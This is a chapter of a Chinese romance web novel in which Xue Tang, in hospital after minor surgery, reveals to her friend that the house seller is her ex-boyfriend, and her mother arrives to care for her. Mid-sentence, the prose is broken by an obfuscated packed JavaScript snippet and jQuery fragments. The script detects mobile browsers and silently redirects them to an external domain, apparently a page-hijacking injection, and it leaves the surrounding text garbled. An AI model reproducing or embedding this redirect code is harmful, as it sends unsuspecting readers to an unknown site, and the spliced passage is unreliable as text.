15. 第 15 章

作品:《探店老板是我前男友

    休息一晚,薛棠明显感觉自己好了很多。


    身边没人在,也没太大影响了。


    早晨,赵欢还是一副要继续留着的模样。


    薛棠可不愿意再让她因为自己耽误工作,好说歹说才给人劝去上班。


    李璟园到的时候,她正靠坐着刷手机。


    “我可怜的棠棠受苦了。”


    看她满身是戏的模样,薛棠忍不住笑了。


    “我没什么事,小手术。”


    “那也是手术啊。”李璟园观察着她,确认看起来真没什么大碍后,才放心坐下。


    两人有一搭没一搭地聊着天。


    “我其实还能再早些来的。”


    李璟园忽然看着她说了这么一句。


    薛棠没懂她的话。


    九点多,就算晚了吗?


    “不晚啊。”薛棠老实说:“你再来早些,我可能都没起来呢。”


    李璟园打算把刚才的事和薛棠说了。


    毕竟,从程今安的表现来看,他对薛棠很感兴趣。


    李璟园压低了些声音,“棠,你知道我一早起来干嘛去了吗?”


    “干嘛突然那么小声。”薛棠勾起唇,“病房里又没别人。”


    李璟园不管,继续小声,“我这不是在渲染说悄悄话的氛围嘛。”


    “什么悄悄话?”


    大概是被这氛围带动起来,薛棠的声音也不自觉小了几分,“关于什么的呀?”


    李璟园冲薛棠眨眨眼,“关于你的呀。”


    薛棠不解抬眸,“我的?”


    李璟园歪着头,说:“你还记得卖你房子的那人吗?”


    ……这能不记得嘛。


    “和他有关?”薛棠问。


    李璟园长长地嗯了声,“他今天早晨请我和阿飞吃早餐了。”


    请、吃、早、餐。


    好小众的请客方式。


    薛棠看着她,“然后?”


    “然后啊。”李璟园冲她笑,“我觉得他对你有意思诶。”


    她把刚才吃早饭发生的事从头到尾说了遍。


    “是不是?这多明显啊,一直跟我打听你。”


    李璟园说个不停,“但其实阿飞这朋友真不错,长得很帅呀,还有自己的事业,棠,你考虑看看?先了解一下也可以的呀。”


    欲言又止。


    薛棠想说些什么,却又不知该从哪里说起。


    “怎么了?”李璟园终于注意到了薛棠的不对劲。


    神色有些奇怪。


    薛棠张了张嘴,说:“我有个前男友。”


    “我知道啊。”李璟园不太理解怎么突然扯到前男友了,“可是跟你前男友有什么关系呀?”


    还真有关系。


    薛棠提示她,“你见过他的。”


    李璟园这回是真懵了。


    在她的印象中,自己并没有见过薛棠这位传说中的前男友。


    难道是她记忆错乱了?


    回忆了好一会儿。


    没错啊。


    确实没见过啊。


    “什么时候啊?你不会记错了吧?”


    薛棠抿抿唇,冒出一句话,“你早上刚见过。”


    早上刚见过……


    李璟园怔怔地朝薛棠看去,几秒后,瞪大双眼。


    她咽了咽口水,再次确认,“你是说,我男朋友的好兄弟,你房子的原房主,是你的,前男友?”


    迎上她的目光,薛棠还是点了点头。


    “不是,那他想干嘛啊?”李璟园彻底迷茫了,“我提起你的时候他就是在装不认识啊,还要看你的照片。”


    李璟园翻了个白眼。


    “你这前男友有病吧?”


    沉默三秒。


    薛棠只说了三个字,“可能吧。”


    李璟园盯着一个地方安静看了许久,久到薛棠都开始怀疑她是不是反应过来自己没把这事早告诉她而生气了。


    “我还是想不明白。”


    终于抬头了。


    李璟园重新看向薛棠,“棠,作为前女友,你能理解他的意图吗?”


    原来还在想这事。


    她诚实地摇摇头,“不太能理解。”


    “你们当初是谁主动提的分手?”李璟园问。


    薛棠:“……我。”


    “那他不会是想报复你吧?!想从我这挖到你的什么信息?”李璟园情绪激动地站了起来起来,“一个大男人不至于吧?谈恋爱分分合合不是很正常的事嘛!”


    薛棠拉住她的手腕,稍微使了点力将人往下拽。


    “不会。”薛棠语气坚定,“他不坏的,可能就是……闲得慌吧。”


    李璟园也冷静下来了,她将薛棠的话往脑子里过了一遍。


    确实不至于。


    而且据她这一年从林乾飞那听来的关于程今安的一些情况。


    “闲得慌”这三个字的含金量,还真有些高。


    好奇葩啊。


    李璟园哎一声,“怎么这么巧啊?棠,你是什么时候知道的?来取东西那次吗?”


    “对。”薛棠又把同一天发生的“筷子出逃事件”也和李璟园坦白了。


    整件事讲完,李璟园的下巴都快落到病床上了。


    薛棠伸手替她抬了一把。


    李璟园咽咽口水,中肯评价,“你俩可能是缘分未尽。”


    她低声继续嘀咕,“这么多离奇的事竟然能撞到一块儿去。”


    薛棠想反驳,却压根找不到能反驳的点。


    这些事能撞到一块儿去,也确实有够离奇的。


    李璟园昨晚只请到半天假,一点前必须要离开。


    走之前,她特意等薛棠喝完小米粥。


    “真的不吃吗?”薛棠问她。


    李璟园摇头,“拖你前男友的福,早上吃太饱了。”


    还是闭嘴吧。


    薛棠低头继续喝粥。


    李璟园离开后担心薛棠无聊,还在线上陪聊了好久。


    直到她犯困开始午睡。


    住院这两天,薛棠的作息算是经历了大改变。


    之前她的作息并不乱,反而很规律,就是不太健康。


    当全职博主后,她几乎就没早起过。


    相应的,也没早睡过。


    在医院的这两天,作息反倒正常了起来。


    就当她以为,再继续安安稳稳躺两天就能出院的时候,贺女士杀来了医院。


    那是第三天的一大早。


    原本还睡眼惺忪,结果一睁眼,贺女士的脸就出现在了面前。


    薛棠怔了好半晌,才回过神来。


    真的不是梦。


    贺琳钰冷冷地开口:“睡醒了吗?”


    薛棠眨眨眼,“醒,醒了。”


    何止是醒了,魂都快吓没了。


    “去洗漱。”


    “哦,好。”


    薛棠听话地慢慢挪下床。


    看着她有些笨拙的动作,贺琳钰眉头都皱起来了,“要不要紧?”


    “不要紧。”薛棠已经站起来了。


    昨晚她下床就已经很自如了,只是怕抻到,所以才比较小心。


    趁贺女士转头的功夫,薛棠悄悄拿起枕边的手机,一起带进了卫生间。


    薛棠挤上牙


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14799865|158203||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    膏,慢条斯理地刷起牙来。


    她左手滑开手机,


    果然有贺钦的微信消息。


    其实不看都知道,一定是贺钦露馅了。


    点开聊天框。


    贺钦:【妈昨晚睡前问起你,我也没说什么,但不知道她怎么就察觉到了,实在瞒不住。】


    贺钦:【她昨晚就想来,太晚了,被我拦下了。】


    薛棠叼着牙刷,松开右手回复。


    薛棠:【已经杀到医院了。】


    等她漱完口,洗好脸,贺钦那边还是没动静。


    大概已经在岗位忙碌了。


    薛棠走出卫生间的瞬间,一股子香气就钻进了她的鼻腔。


    小桌板已经支起来了,保温桶也被打开了。


    贺琳钰往卫生间门口瞥一眼,“傻站着干嘛,凉了我还得去给你热。”


    话是真不好听,可递勺子、递纸巾的动作一个都不少。


    薛棠小口吃着,期间抬了抬眸子,“妈,你吃过了吗?”


    “吃了。”


    “吃了什么?”


    “家门口买的包子。”


    “怎么来的啊?”


    “蹭你同伙的车。”


    “……”


    病房里暖气足,贺琳钰很早就脱了外套。


    临近中午,她又把衣服穿了起来。


    薛棠全程没说话,偷偷观察着她的一举一动。


    直到贺女士挎着包来到跟前,她才抬头。


    “家门有钥匙吗?”


    家门钥匙?


    薛棠第一反应是溪南那边的家。


    可转念一想,那把钥匙早没用了。当年贺女士气急,直接把家门的锁都给换了。


    到现在都没给她一把新的。


    所以,说的是她现在的房子吧。


    “没有钥匙,是密码锁。”


    “密码呢?”


    薛棠想到贺钦前两天的话。


    大概又会挨一顿说。


    “6个8,然后#号。”


    果然……


    贺琳钰的眉头在听到这一串密码时就皱了起来。


    “什么破密码。”她嫌弃道:“生怕别人进不去吗?”


    薛棠无言以对,只好说:“我回去就改。”


    “妈。”她叫了一声,有些明知故问地开口:“你去干嘛呀?”


    “几点了,你不吃饭吗?你不吃饭我也得吃。”


    完全意料之中的回复。


    薛棠一点不介意,反倒说:“妈,我想喝你煲的汤了。”


    贺琳钰很会做菜,尤其是煲汤。每回喝她煲的汤,薛棠都能喝下起码两大碗。


    她喝的最频繁的那一阵,应该是初三中考的那个月。


    薛棠中考那个阶段,距离薛茂山去世只过去半年。她的状态很不好,学习压力大,睡眠也差。


    贺琳钰也没缓过劲来,但为了照顾好薛棠,她强打起精神,每天在厨房一待就待上好几个小时,只为让她在营养上没有缺失。


    “……这都几点了才说想喝汤,哪来得及啊。”


    贺琳钰边抱怨边走,离开病房前丢下一句话,“今天晚点吃。”


    -


    贺琳钰从薛棠家出来时已经过了十二点半。


    她原本要带的东西就很多了,结果又因为薛棠的一通电话多了个包在身上。


    贺琳钰出门本来就急,压根没看包里有什么东西,只知道沉得要命。


    东西太多,她出了小区就打车。


    车子停下后,她分两次将东西搬下去。


    弯腰准备再拿起时,视线被一道影子遮住。